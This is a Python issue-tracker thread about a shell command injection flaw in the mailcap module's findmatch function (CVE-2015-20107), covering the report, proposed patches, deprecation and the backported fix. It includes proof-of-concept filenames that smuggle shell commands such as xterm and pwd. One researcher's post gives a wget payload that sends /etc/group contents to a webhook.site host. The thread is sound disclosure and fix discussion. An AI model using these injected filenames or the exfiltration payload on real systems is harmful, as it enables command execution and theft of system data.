Closed 3077c527-db90-456b-9bc4-abba055100b5 closed 1 year ago
if the filename contains Shell Commands they will be executed if they are passed to os.system() as discribed in the docs. Filename should be quoted with quote(filename) to fix the bug.
https://docs.python.org/2/library/mailcap.html
"mailcap.findmatch(/caps/, /MIMEtype/[, /key/[, /filename/[, /plist/]]])
Return a 2-tuple; the first element is a string containing the
command line to be executed
(which can be passed to\*os.system() \*),
......"
Exploid Demo wich runs xterm but should not : \=============================
import mailcap
d=mailcap.getcaps()
commandline,MIMEtype=mailcap.findmatch(d, "text/*", filename="'$(xterm);#.txt")
## commandline = "less ''$(xterm);#.txt'"
import os
os.system(commandline)
## xterm starts
=============================
By the way ... please do not use os.system() in your code, makes it unsafe.
Best regards Bernd Dietzel Germany
Maybe it would be a good idea to do so as run-mailcap does :
theregrunner@mint17 : ~ € run-mailcap --debug "';xterm;#'.txt"
In this case os.system is an appropriate API, because it mirrors the API of mailcap itself (that is, mailcap entries are shell commands).
I'm not convinced there is a security bug here. It seems to me that there are two cases: either the filename is determined by the program, in which case there is no security issue, or the filename comes from an external source, and the program will have had to *write it to the file system* before the mailcap command will do anything. So the security hole, if any, will have happened earlier in the process.
Now, one can argue that the quoting should be done in order to preserve the meaning of an arbitrary filename. Which would allay your concern even if I disagree that it is a real security bug :)
(I don't understand why run-mailcap uses an alias rather than correctly quoting the meta-characters.)
@David Thanks for the comment :-)
I think if you read the Documentation https://docs.python.org/2/library/mailcap.html this may lead new programmers, wich may never heard of Shell Injections before, step by step directly to write insecure webbbrowsers and/or mail readers. At least there should be a warning in the docs !
You ask why run-mailcap do not use quotig, i believe because quoting is not an easy thing to do, i attached a demo ;-)
Thank you.
Exploid Demo wich works with quote() :
>>> commandline,MIMETYPE=mailcap.findmatch(d, 'text/*', filename=quote(';xterm;#.txt'))
>>> commandline
"less '';xterm;#.txt''"
>>> os.system(commandline)
### xterm starts
Hmm. I see. The problem is that our desire to quote conflicts with mailcap's attempts to quote.
I now agree with you that run-mailcap's approach is correct, but creating a temporary alias is out of scope for findmatch. That would need to be done by findmatch's caller.
I think we should add a documentation note about the problem and the solution. I don't see any reliable way to detect the problem and raise an error for the same reason that quoting doesn't work. (The aliasing can tolerate false positives; but, for backward compatibility reasons, an error detection function here cannot.)
It would be possible to add a helper for the aliasing to 3.6, but if someone wants to propose that they should open an new issue for the enhancement.
I'm
Yes changing the docs is a good idea.
I was thinking about a patch :
import os
####### patch
import random
try:
from shlex import quote
except ImportError:
from pipes import quote
#######
....... and so on ....
# Part 3: using the database.
def findmatch(caps, MIMEtype, key='view', filename="/dev/null", plist=[]):
"""Find a match for a mailcap entry.
Return a tuple containing the command line, and the mailcap entry
used; (None, None) if no match is found. This may invoke the
'test' command of several matching entries before deciding which
entry to use.
"""
entries = lookup(caps, MIMEtype, key)
# XXX This code should somehow check for the needsterminal flag.
for e in entries:
if 'test' in e:
test = subst(e['test'], filename, plist)
if test and os.system(test) != 0:
continue
####### patch
ps=''.join(random.choice('python') for i in range(100))
x=e[key]
while '%s' in x:
x=x.replace('%s',ps)
command=subst(x, MIMEtype, filename, plist)
while "'"+ps+"'" in command:
command=command.replace("'"+ps+"'",quote(filename))
while ps in command:
command=command.replace(ps,quote(filename))
###### command = subst(e[key], MIMEtype, filename, plist)
return command, e
return None, None
# for the docs ... quoting of the filename when you call mailcap.findmatch()
f=";xterm;#.txt" # Shell Command Demo ... xterm will run if quote() fails
import mailcap
import random
try:
from shlex import quote
except ImportError:
from pipes import quote
d=mailcap.getcaps()
PY=''.join(random.choice('PYTHON') for i in range(100))
cmd,MIMEtype=mailcap.findmatch(d, 'text/plain', filename=PY)
while "'"+PY+"'" in cmd:
cmd=cmd.replace("'"+PY+"'",quote(f))
while PY in cmd:
cmd=cmd.replace(PY,quote(f))
print(cmd)
# less ';xterm;#.txt'
I have no idea what your code samples are trying to accomplish, I'm afraid, but that's not the kind of documentation I'm advocating anyway.
What i do is the last doc is like this :
1) Replace the filename with a random name 2) Run mailcap.findmatch() with the random name 3) If exists, replace the quote characters ' before and behind the random name with nothing. 4) Now the random name has no quoting from mailcap itself 5) So now we can use our own quote() savely
Ah, that's a clever idea.
Thanks :-)
As you may noticed i now choosed to use a random name made of the chars of "PYTHON" in BIG letters instead of small letters i used before.
Thats because i do not want to get in trouble with the little "t" in %t wich is replaced by the subst function too.
My patch for mailcap.py. Please check and apply my patch please.
1) I have removed the os.system() calls for security reasons.
2) New "findmtach_list()" function witch returns the commandline as a [list] witch can be passed to subprocess instead of passing it to os.system().
3) New run() function to execute the cmd_list with subprocess.
4) The test() function now uses findmatch_list() and run() instead of the old findmatch() and os.system() calls.
5) The subst() function is now shorter an does a quote(filename) when its replacing %s with a filename.
6) The "old" findmatch() function is still there if the user still likes to have the commandline as a "string". Attention ! With this old findmatch() function it's still possible that a shell command in the filename like '$(ls).txt' will be executed when the users passes the string to os.system() outside the mailcap script. Use findmatch() only for backwards compatibility.
7) Use the new findmatch_list() an run() for future projects.
8) Add 1)-7) to the docs
Thank you.
In 2022, Python 3.11 still has the issue:
vstinner@apu$ python3.11 -m mailcap
Mailcap files:
/home/vstinner/.mailcap
/etc/mailcap
(...)
Mailcap entries:
(...)
text/html
copiousoutput
lineno 5
view /usr/bin/xdg-open %s
$ python3 -m mailcap text/html 'filename; pwd'
Executing: /usr/bin/xdg-open filename; pwd
(...)
/home/vstinner/python/main
Maybe subst() can be modified to work on a list (as Bernd Dietzel proposed) and then use subprocess to avoid shell and so avoid having to pass a single string, but pass a *list* of arguments (strings).
The problem is that it would change the public mailcap.findmatch() API: "Return a 2-tuple; the first element is a string containing the command line to be executed (which can be passed to os.system()), (...)" https://docs.python.org/dev/library/mailcap.html#mailcap.findmatch
Adding a new findmatch_list() function avoids the backward compatibility issue, but the existing findmatch() function would remain vulnerable.
The other problem is that the mailcap.findmatch() function supports "test" command which executes os.system() on string created by mailcap.subst().
Is the mailcap format (RFC 1524) still used in 2022? Does the mailcap module still belong to the Python stdlib in 2022?
I propose to:
A code search in the top 5000 PyPI projects (at 2022-01-26) did not find any Python source code using the "mailcap" module. I only found the word "mailcap" used to refer to other things:
https://docs.djangoproject.com/en/4.0/ref/contrib/staticfiles/ mentions a "mailcap" RHEL package:
"This can be achieved, for example, by installing or updating the mailcap package on a Red Hat distribution, mime-support on a Debian distribution, or by editing the keys under HKEY_CLASSES_ROOT in the Windows registry."
wxPython refers to "KDE\< mailcap and mime.types"
https://docs.djangoproject.com/en/4.0/ref/contrib/staticfiles/
It's too bad this didn't make it into PEP 594, but I think we can deprecate it anyway unless someone steps up to be a maintainer.
The original patch doesn't add quotes in a way that solves the problem without potentially breaking legitimate users. The best mitigation is to validate user-provided values before using them, in this case, ~probably by checking that the file exists~ (nope, checked and it's easy to create a file with an embedded shell command, so users should verify that they trust the incoming path).
FYI, this issue now has the CVE ID CVE-2015-20107
to assist with discussions.
Notification at https://mail.python.org/archives/list/security-announce@python.org/thread/QDSXNCW77UGULFG2JMDFZQ7H4DIR32LA/
I vote to deprecate. I guess we just need to ask on python-dev/committers to see if anyone will maintain it and what the community impact may be?
Hi all, i am the one raised the issue that the security issue was not fixed 7 years ago - you are welcomed to address me regarding the mitigation. I've attached some more details..!
Vulnerability Description: A command injection vulnerability was found in Python 2.x and 3.x, specifically within the mailcap module. Mailcap core-module is based on the format documented in RFC 1524. The “findmatch()” function does not sanitise the second argument (filename). As a result, the legitimate command (that is used for opening the specified mime type) is concatenated with an arbitrary command, injected by an attacker.
Command Structure
_python3 mailcap.py
Steps to reproduce (in Linux)
The Payload wget "https://webhook.site/cc19e545-3ac5-46fb-98f1-7672ec4b7432/?"+$(cat /etc/group | tr "\n" ",")
The vulnerability in general According to this documentation, the mailcap file handler uses the mailcap format that is documented in RFC 1524. According to your documentation - “mailcap.findmatch() returns a 2-tuple; the first element is a string containing the command line to be executed (which can be passed to os.system())..” Thus, people will fully rely on findmatch output to be executed by the system. This flow was demonstrated in your implementation of mailcap.py.
Exploitation But what if we concatenate it with an arbitrary command by ‘breaking’ the first command with a pipe or a semicolon and inserting our own command?
Leafpad application will open immediately.
--
Dan Shallom Security Researcher dan.shallom98@gmail.com
Thanks, Dan
I've proposed deprecating mailcap at https://mail.python.org/archives/list/python-dev@python.org/thread/EB2BS4DBWSTBIOPQL5QTBSIOBORWSCMJ/ .
@brettcannon Indeed, 3.10-3.12 need to get a fix.
Figure 1 from PEP 602 Annual Release Cycle for Python
@CySirX Please do not post screenshots containing textual communications. Just the text or the link to the document. Bitmaps are unsearchable and unaccessible and always render wrong compared to the readers actual display.
This issue can be worked around in the caller. For example, by creating a temporary file with a safe filename.
FWIW the only third party package we've found using mailcap already does create a safe filename before calling mailcap: https://github.com/mitmproxy/mitmproxy/blob/main/mitmproxy/tools/console/master.py#L153
It's too bad this didn't make it into PEP 594, but I think we can deprecate it anyway unless someone steps up to be a maintainer.
Update: mailcap has now been added to PEP 594 and will be deprecated in Python 3.11 and removed in 3.13:
I created https://github.com/python/cpython/pull/91951 to deprecate mailcap.
https://github.com/python/cpython/pull/91993 is a possible solution that should fix the vulnerability while still working for "safe" filenames: refuse to inject bad filenames into shell commands, and instead act as if a match wasn't found.
You can make legitimate filenames that include those characters, unfortunately. They have to be escaped, but they can be valid.
The kind of escaping necessary also depends on what quoting is in the command that the value is being substituted into, so trying to figure that out ahead of time seems to be near impossible.
Yes. It's a trade-off between security and functionality.
I'm scared by the PR #91993 approach: either use a blocklist (reject a filename which looks like a shell command) or an allowlist (strict format for filenames).
A blocklist can reject legit filenames which worked previously. For example, Linux accepts semicolon ;
in directory and file names. This is perfectly valid:
$ echo "hello" > 'a.txt;id'
$ cat 'a.txt;id'
hello
A mailcap file can quote properly filenames and so accept such unusual filename.
An allowlist can also reject legit filenames which worked previously. For example, if we reject non-ASCII characters, a non-ASCII filename which worked previously will no longer work:
$ echo "hello" > hervé.txt
$ cat hervé.txt
hello
Linux filesystems (like ext4 or XFS) obviously accepts non-ASCII filenames.
Adding quotes is dangerous:
'single'
and "double"
. Double quotes can also embed shell commands: $ echo "filename$(pwd).txt"
filename/home/vstinner/python/main.txt
It's a dangerous whale-a-mole game :-(
For all these reasons, I suggest to not fix the vulnerability, but document it and explains how to work around the issue. I proposed the PR #92024 for that.
About mailcap files. Fedora 35 provides:
$ cat /etc/mailcap
###
### Begin Red Hat Mailcap
###
audio/*; /usr/bin/xdg-open %s
image/*; /usr/bin/xdg-open %s
application/msword; /usr/bin/xdg-open %s
application/pdf; /usr/bin/xdg-open %s
application/postscript ; /usr/bin/xdg-open %s
text/html; /usr/bin/xdg-open %s ; copiousoutput
No filename is put between codes.
The Python test suite uses this file:
# Mailcap file for test_mailcap; based on RFC 1524
# Referred to by test_mailcap.py
#
# This is a comment.
#
application/frame; showframe %s; print="cat %s | lp"
application/postscript; ps-to-terminal %s;\
needsterminal
application/postscript; ps-to-terminal %s; \
compose=idraw %s
application/x-dvi; xdvi %s
application/x-movie; movieplayer %s; compose=moviemaker %s; \
description="Movie"; \
x11-bitmap="/usr/lib/Zmail/bitmaps/movie.xbm"
application/*; echo "This is \"%t\" but \
is 50 \% Greek to me" \; cat %s; copiousoutput
audio/basic; showaudio %s; compose=audiocompose %s; edit=audiocompose %s;\
description="An audio fragment"
audio/* ; /usr/local/bin/showaudio %t
image/rgb; display %s
#image/gif; display %s
image/x-xwindowdump; display %s
# The continuation char shouldn't \
# make a difference in a comment.
message/external-body; showexternal %s %{access-type} %{name} %{site} \
%{directory} %{mode} %{server}; needsterminal; composetyped = extcompose %s; \
description="A reference to data stored in an external location"
text/richtext; shownonascii iso-8859-8 -e richtext -p %s; test=test "`echo \
%{charset} | tr '[A-Z]' '[a-z]'`" = iso-8859-8; copiousoutput
video/*; animate %s
video/mpeg; mpeg_play %s
No command put the filename %s
between quotes.
I'm scared by the PR https://github.com/python/cpython/pull/91993 approach
I'm confused. Most of the criticism doesn't apply to that PR:
For example, Linux accepts semicolon ; in directory and file names.
There is no way to use these safely with mailcap, sadly. That's why I propose to reject them.
if we reject non-ASCII characters
I do not propose rejecting non-ASCII characters.
Adding quotes is dangerous:
I do not propose adding quotes.
No command put the filename %s between quotes.
Right, Fedora and the Python tests don't do that. But see the discussion above -- you can have a mailcap line like that.
For Python3.9 and python3.10, can we use the patch provided by Bernd dietzel or vstinner? Should security be more important than changes in APIs and other aspects? We can add a switch to accept changes to fix security vulnerabilities by default. Then, the caller can restore the behavior before repair by modifying configuration or change a variable. If so, caller need to accept this security risk and ensure the security of file names. patch-1 patch-2
The failure scenario for an application where we simply start claiming no match (return None?) on potentially suspicious filenames seems acceptable. I doubt it would be a big deal to users if any even notice at all. So if you want to go forward with a PR like #91993 my gut feeling is that nobody is going to balk at the change, even in security only release branches.
We (at my company, but I suppose it can be a widespread problem) are facing a problem with this now that a CVE has been opened pointing to this issue. Any container images with a Python package installed is being flagged as containing a "critical vulnerability".
That said, I just saw there is a Python 3.9 release scheduled for next week. Maybe one of the proposed fixes could be merged and backported before that?
(I don't think any one person running an updated Python would ever notice if a badly quoted call to mailcap.findmatch
s would simply stop the program. But them, there is https://xkcd.com/1172/ .)
Any container images with a Python package installed is being flagged as containing a "critical vulnerability".
Our apologies. We hesitated to assign the CVE because we knew this would happen, but it does meet the criteria and so the ID could have been assigned anyway.
Hopefully you have some kind of system to dismiss those alerts. If you're not using mailcap
(which seems likely), then you are not impacted.
@All respectable developers, can you give a clear solution, either remove the module or fix it, this is a 9.8 high-risk vulnerability that can't be hung all the time? You know, all agencies or organizations that use python are waiting for a solution from the official python community.
@phbno1 the module has been deprecated in Python 3.11 and will be removed in Python 3.13.
@phbno1 the module has been deprecated in Python 3.11 and will be removed in Python 3.13.
What about the other versions?
If you're not using it (then you're not affected, but...) you can delete the file from your own installs. That's at least as easy as installing a full update from us, and far less impactful to your applications.
This is a really easy issue to determine your exposure. If you're stuck because you have tooling that can't accommodate this kind of situation (I've got to deal with it too, JFYI), complain to the tooling vendor.
Hi there, I'm curious to know if you folks have a good fix candidate for it. I'm a bit confuse as it has at least two fix for it on going? #91993 and #93014
@gpshead said:
The failure scenario for an application where we simply start claiming no match (return None?) on potentially suspicious filenames seems acceptable. I doubt it would be a big deal to users if any even notice at all. So if you want to go forward with a PR like https://github.com/python/cpython/pull/91993 my gut feeling is that nobody is going to balk at the change, even in security only release branches.
@pablogsal, @ambv and even @ned-deily: Do you agree?
For reference, #91993 implements this.
If you're not using it (then you're not affected, but...) you can delete the file from your own installs. That's at least as easy as installing a full update from us, and far less impactful to your applications.
This is a really easy issue to determine your exposure. If you're stuck because you have tooling that can't accommodate this kind of situation (I've got to deal with it too, JFYI), complain to the tooling vendor.
Agreed, rm /usr/local/lib/python3.*/mailcap.py
is the easiest option to ensure your safety on tools where you know you're not actually using this dep and want the vulnerability scanners to stop complaining.
There are warnings from a few tests, I believe they are related to this issue.
% ./python.exe -We -m test -v test_mailcap
[...]
======================================================================
ERROR: test_findmatch (test.test_mailcap.FindmatchTest.test_findmatch)
----------------------------------------------------------------------
Traceback (most recent call last):
File "/Users/iritkatriel/src/cpython-1/Lib/test/test_mailcap.py", line 223, in test_findmatch
self._run_cases(cases)
File "/Users/iritkatriel/src/cpython-1/Lib/test/test_mailcap.py", line 250, in _run_cases
self.assertEqual(mailcap.findmatch(*c[0], **c[1]), c[2])
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/Users/iritkatriel/src/cpython-1/Lib/mailcap.py", line 193, in findmatch
command = subst(e[key], MIMEtype, filename, plist)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/Users/iritkatriel/src/cpython-1/Lib/mailcap.py", line 230, in subst
warnings.warn(msg, UnsafeMailcapInput)
mailcap.UnsafeMailcapInput: Refusing to substitute MIME type 'audio/*' into a shell command.
======================================================================
ERROR: test_subst (test.test_mailcap.HelperFunctionTest.test_subst)
----------------------------------------------------------------------
Traceback (most recent call last):
File "/Users/iritkatriel/src/cpython-1/Lib/test/test_mailcap.py", line 137, in test_subst
self.assertEqual(mailcap.subst(*tc[0]), tc[1])
^^^^^^^^^^^^^^^^^^^^^
File "/Users/iritkatriel/src/cpython-1/Lib/mailcap.py", line 230, in subst
warnings.warn(msg, UnsafeMailcapInput)
mailcap.UnsafeMailcapInput: Refusing to substitute MIME type 'audio/*' into a shell command.
----------------------------------------------------------------------
Will this change be backported to 3.9.x as a security fix ? When is this change expected to be released ?
Will this change be backported to 3.9.x as a security fix ? When is this change expected to be released ?
Oh right, only 3.11 and main branches are fixed yet. The fix should be backported to other Python versions: https://devguide.python.org/versions/
Fixed in 3.7 - 3.12.
I created https://python-security.readthedocs.io/vuln/mailcap-shell-injection.html to track this vulnerability.
@ambv can you list the versions in which this is fixed for 3.7, 3.8, 3.9? The doc by @vstinner still is missing this info. PS the scanner tools are all pointing to this CVE as open.
I found: https://github.com/AnacondaRecipes/python-feedstock/pull/75 titled "rebuild 3.8.13 for mailcap CVE-2015-20107 patch" showing the fix merge into master-3.8 on Oct 19. I also checked the 3.8.15 branch seems to have the fix. But need confirmation.
The patch is released in 3.10.8. 3.7 - 3.9 releases that contain the patch in question are coming on December 5th. The backports missed the previous round of releases.
First thank you for your help here and the work on the project.
We also found merge https://github.com/python/cpython/pull/98192 from Oct 11 plus above mentioned from Oct 19.
Is there somewhere an explanation of the release flow from merges into AnacondaRecipes/python-feedstock and python/cpython -- all the way to released python versions? It would make these investigations self-serve. :) Thank you
Note: these values reflect the state of the issue at the time it was migrated and might not reflect the current state.
Show more details
GitHub fields: ```python assignee = None closed_at = None created_at =
labels = ['type-security', '3.11', 'library', 'docs']
title = 'mailcap.findmatch: document shell command Injection danger in filename parameter'
updated_at =
user = 'https://bugs.python.org/TheRegRunner'
```
bugs.python.org fields:
```python
activity =
actor = 'vstinner'
assignee = 'docs@python'
closed = False
closed_date = None
closer = None
components = ['Documentation', 'Library (Lib)']
creation =
creator = 'TheRegRunner'
dependencies = []
files = ['40099', '40116', '40897']
hgrepos = []
issue_num = 24778
keywords = []
message_count = 14.0
messages = ['247857', '247861', '247944', '247946', '247951', '247979', '247992', '248058', '248061', '248062', '248070', '248074', '253689', '416878']
nosy_count = 4.0
nosy_names = ['vstinner', 'r.david.murray', 'docs@python', 'TheRegRunner']
pr_nums = []
priority = 'normal'
resolution = None
stage = None
status = 'open'
superseder = None
type = 'security'
url = 'https://bugs.python.org/issue24778'
versions = ['Python 3.11']
```
Linked PRs